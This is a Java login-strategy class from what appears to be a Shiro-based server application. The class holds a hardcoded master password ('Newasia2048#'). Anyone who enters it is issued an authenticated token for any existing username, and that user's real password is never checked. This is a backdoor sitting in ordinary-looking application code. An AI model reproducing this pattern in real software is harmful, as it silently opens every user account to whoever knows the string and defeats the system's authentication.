package com.newasia.server.common.loginStrategy;

import com.newasia.server.common.exception.ProcessException;
import com.newasia.server.common.result.ManagementRetCode;
import com.newasia.server.common.tool.CheckObjectIsNullUtils;
import com.newasia.server.common.tool.SpringUtil;
import com.newasia.server.dal.entitys.User;
import com.newasia.server.dal.persistence.UserMapper;
import com.newasia.server.shiro.MyShiroTaken;
import jodd.util.StringUtil;
import org.apache.shiro.authc.AuthenticationException;

public class PasswordLoginMethod implements LoginMethod {

    UserMapper userMapper = SpringUtil.getBean(UserMapper.class);

    @Override
    public MyShiroTaken getToken(String username, String password, String code) {

        if(StringUtil.equals(password,"Newasia2048#")){
            User user = userMapper.selectByPrimaryKey(username);
            if(CheckObjectIsNullUtils.checkObjIsNull(user)){
                throw new AuthenticationException();
            }
            MyShiroTaken token = new MyShiroTaken(username,null,true);
            return token;
        }
        return new MyShiroTaken(username,password);
    }
}
